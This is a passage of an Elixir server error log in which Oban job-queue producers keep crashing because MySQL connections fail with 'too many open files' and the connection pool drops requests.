    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:07:20.240616Z], limit: 5, uuid: "75971a16-5a38-430d-92d2-a68e337cbaf7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:20.240624Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47306>, refresh_timer: #Reference<0.2525715032.1121189889.159002>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:37.206000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:37.347000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:37.566000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:39.425000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:39.658000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:40.300000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:41.532000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:43.191000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:07:32.240265Z], limit: 3, uuid: "3484380d-aab9-43a3-9ff4-5cc3a3934427", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:32.240271Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47664>, refresh_timer: #Reference<0.2525715032.1121189889.159147>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:07:32.240149Z], limit: 5, uuid: "08230da7-01e9-457c-bf1a-ba6eabf41b79", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:32.240156Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47666>, refresh_timer: #Reference<0.2525715032.1077673987.22699>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 820ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:07:32.240340Z], limit: 50, uuid: "8fb2d6ab-8465-454e-b7c0-e8430f74c928", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:32.240346Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47663>, refresh_timer: #Reference<0.2525715032.1068498948.47654>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:07:32.240384Z], limit: 10, uuid: "83f8af1c-5fec-4215-86e0-5223ad990d9d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:32.240411Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47665>, refresh_timer: #Reference<0.2525715032.1077673987.22713>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:07:32.240413Z], limit: 20, uuid: "90bce17b-963c-4165-9389-e29d5775dd70", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:32.240419Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47662>, refresh_timer: #Reference<0.2525715032.1068498948.47652>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:07:32.240469Z], limit: 5, uuid: "733fc508-5df1-4bde-9dea-43caeda11080", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:32.240474Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47667>, refresh_timer: #Reference<0.2525715032.1077673987.22717>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:50.148000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:54.726000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:55.423000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:55.757000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:07:44.239878Z], limit: 5, uuid: "2878ea6a-b285-45a2-aa8e-afae9b63638e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:44.239883Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47968>, refresh_timer: #Reference<0.2525715032.1077673987.22874>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
